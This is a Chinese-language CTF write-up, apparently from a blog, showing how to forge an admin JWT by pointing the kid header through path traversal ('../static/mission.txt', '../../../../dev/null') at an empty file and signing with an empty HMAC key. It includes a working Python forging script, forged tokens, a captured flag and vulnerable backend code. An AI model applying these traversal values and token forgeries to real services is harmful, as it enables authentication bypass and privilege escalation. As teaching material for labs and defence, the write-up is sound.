当前位置: 首页 > news >正文

jwt修改kid指向已知文件加密绕过

例题一:

这道题涉及到

jwt修改kid指向服务器上的我们已知的文件内容,以其内容作为key密钥签名绕过

一、访问/api/docs

image-20260523184737078

有提示

二、访问/api/login

post请求,请求体json,

image-20260523184836448

image-20260523184846529

得到jwt

eyJhbGciOiJIUzI1NiIsImtpZCI6InVzZXIua2V5IiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6InVzZXIiLCJpYXQiOjE3Nzk1Mjc3MDIsImV4cCI6MTc3OTUzMTMwMn0.zROcIhm6IVfuYRSiFYgte2WR_m6TgiqvG4fEbkPxpn8

解码为:

image-20260523184925379

user.key应该就是服务端要用来验证的密钥文件了

已知访问http://43.108.37.178:34346/static/mission.txt是个空文件

(1)一开始用绝对路径

{"alg": "HS256","kid": "http://43.108.37.178:34346/static/mission.txt","typ": "JWT"
}

生成jwt,替换显示文件找不到

(2)用相对路径同上

{"alg": "HS256","kid": "/static/mission.txt","typ": "JWT"
}

猜测下服务端处理代码,应该用了相对路径:

kid = jwt_header["kid"]          # 从JWT header中取出kid
a = f"/app/keys/{kid}"    # 拼接路径
secret = open(a).read()   # 读取密钥文件
verify_jwt(token, secret)       # 用该密钥验证签名

(3)构造相对路路径即/app/keys/../static/mission.txt即为/app/static/mission.txt成功指向mission.txt文件

{"alg": "HS256","kid": "../static/mission.txt","typ": "JWT"
}

再改role为admin,用mission.txt内容,即空字符串作为密钥加密

import hmac
import hashlib
import base64
import jsondef base64url(data: bytes) -> str:return base64.urlsafe_b64encode(data).decode().rstrip("=")header = {"alg": "HS256","kid": "../static/mission.txt","typ": "JWT"
}payload = {"username": "admin","role": "admin","iat": 1779525991,"exp": 1779529591
}header_b64 = base64url(json.dumps(header, separators=(",", ":")).encode())
payload_b64 = base64url(json.dumps(payload, separators=(",", ":")).encode())signing_input = f"{header_b64}.{payload_b64}"key = b""  #空密钥签名
signature = hmac.new(key=key,msg=signing_input.encode(),digestmod=hashlib.sha256
).digest()signature_b64 = base64url(signature)jwt_token = f"{header_b64}.{payload_b64}.{signature_b64}"
print(jwt_token)

得到

eyJhbGciOiJIUzI1NiIsImtpZCI6Ii4uL3N0YXRpYy9taXNzaW9uLnR4dCIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzc5NTI1OTkxLCJleHAiOjE3Nzk1Mjk1OTF9.c7JoXkpBSxNuhR_5MhLcVJ-0N_ztXFYcaIjFDJ-krs8

替换jwt,访问/api/admin/flag

501e95fb-7336-444f-b91a-312f786112d8

注:还有一种想法,可以不可以用kid=../../../dev/null,再使用空密钥来绕过

例题二:kid空文件绕过jwt

后端漏洞代码:

unverified_header = jwt.get_unverified_header(token)
kid = unverified_header.get('kid')
if not kid:
   data = jwt.decode(token, app.config['SECRET_KEY'], algorithms=["HS256"])
else:
   # 通过kid读取公钥文件内容作为PEM
   with open(kid, 'r') as pubfile:
      public_key = pubfile.read()
   print(public_key)
   data = jwt.decode(token, public_key, algorithms=['HS256'])

开始

首先你需要准备一个空密钥的对称加密

img

这里用AA==,代表是空。我们会将KID的路径指向一个空文件,那么我们用空的密钥加密,后端就可以用空密钥解密。

img

获取JWT数据包,然后首先增加kid,内容为/dev/null。简单说,它等价为空

/dev/nullUnix/Linux 类系统中的一个特殊设备文件,也被称为“空设备”“黑洞”,它的核心特性是:

  1. 写入即丢弃:任何写入 /dev/null 的数据都会被系统直接丢弃,不会占用磁盘空间,也无法恢复。 例:echo "敏感信息" > /dev/null → 内容消失,无任何残留。
  2. 读取返回空:从 /dev/null 读取数据时,会立即返回空字符串,不会阻塞或返回错误。

例:cat /dev/null → 终端无任何输出。 3. 无大小属性:它不是真实的磁盘文件,用 ls -l /dev/null 查看会发现大小始终为 0。

第二步权限修改为admin

img

第三步,用空的密钥签名

img

成功获取权限

img

例题三:目录遍历(和例一差不多)

KID在读取文件的时候,很大概率会指定一个目录,那么变种就出现了

unverified_header = jwt.get_unverified_header(token)
kid = unverified_header.get('kid')
if not kid:
    data = jwt.decode(token, app.config['SECRET_KEY'], algorithms=["HS256"])
else:
    # 通过kid读取公钥文件内容作为PEM
    with open(f'/root/{kid}', 'r') as pubfile:
        public_key = pubfile.read()
    print(public_key)
    data = jwt.decode(token, public_key, algorithms=['HS256'])

在kid的位置,通过../../../../进行绕过,其他操作不变

BASH 复制{
    "alg": "HS256",
    "typ": "JWT",
    "kid": "../../../../dev/null"
}
http://www.jsqmd.com/news/1035891/

相关文章:

  • Cursor Pro破解工具2025:解锁AI编程助手的完整功能体验
  • 2026深圳黄金回收领先者测评:权威夺冠,高价领跑 - 奢侈品回收测评
  • ATM网络APC流量控制算法:原理、参数计算与工程实践详解
  • 2026雅安焊缝探伤检测权威机构排行 TOP 本地高频选择,无损检测 + UT+RT+PT 检测 附电话地址 - 中安检测集团
  • 2026孝感焊缝探伤检测权威机构排行 TOP 本地高频选择,无损检测 + UT+RT+PT 检测 附电话地址 - 中安检测集团
  • 如何快速掌握编程:开源游戏化学习平台CodeCombat完整入门指南
  • 2026乌海焊缝探伤检测权威机构排行 TOP 本地高频选择,无损检测 + UT+RT+PT 检测 附电话地址 - 中安检测集团
  • 中国预制房出海对公文写作的启示:如何像搭积木一样“预制”高级材料?
  • 2026年泰州高压发电机组实力厂家推荐榜:口碑深耕/技术沉淀/应急保电领域标杆品牌深度解析 - 品牌发掘
  • RuoYi issue1: Role Menu Permission Overwrite
  • Honey Select 2汉化去码补丁:5分钟打造完美游戏体验
  • 2026西藏焊缝探伤检测权威机构排行 TOP 本地高频选择,无损检测 + UT+RT+PT 检测 附电话地址 - 中安检测集团
  • 基于KEA128的无感BLDC驱动:从硬件设计到反电动势过零检测算法实践
  • Appium复杂手势模拟:从W3C Actions到源码级调试实战
  • DSpace issue3: Registration Token Path Allows Arbitrary netid Binding
  • 国内亚克力定制主流厂家盘点 核心能力横向对比 - 起跑123
  • 2026忻州焊缝探伤检测权威机构排行 TOP 本地高频选择,无损检测 + UT+RT+PT 检测 附电话地址 - 中安检测集团
  • JEEWMS issue1: `saveUser` 可重建用户角色和组织绑定
  • 2026西宁焊缝探伤检测权威机构排行 TOP 本地高频选择,无损检测 + UT+RT+PT 检测 附电话地址 - 中安检测集团
  • 2026年移动拖车发电机组工厂推荐:静音节能与应急供电的实力之选 - 品牌发掘
  • 2026 AIGC 全球挑战赛收官:131 组作品角逐,为北京数字经济发展注入新动能!
  • B站缓存视频容器格式转换技术实现:m4s-converter架构解析与应用指南
  • 模型量化:从 FP16 到 INT4,怎么平衡精度和速度
  • 如何在5分钟内完成专业级虚拟背景设置:OBS背景移除插件终极指南
  • ZigBee网络配置实战:从ZPS工具到休眠设备通信避坑
  • 2026实力之选:泰州阳光发电设备有限公司——沃尔沃发电机组供应商的可靠动力之源 - 品牌发掘
  • 吴忠市空调维修/中央空调维修|本地避坑指南,满分五星平台|欧米到家首选 - 欧米到家
  • 实战指南:3步部署Qwen2-7B-Instruct,解锁企业级AI助手核心功能
  • 2026宿州焊缝探伤检测权威机构排行 TOP 本地高频选择,无损检测 + UT+RT+PT 检测 附电话地址 - 中安检测集团
  • 2026烟台焊缝探伤检测权威机构排行 TOP 本地高频选择,无损检测 + UT+RT+PT 检测 附电话地址 - 中安检测集团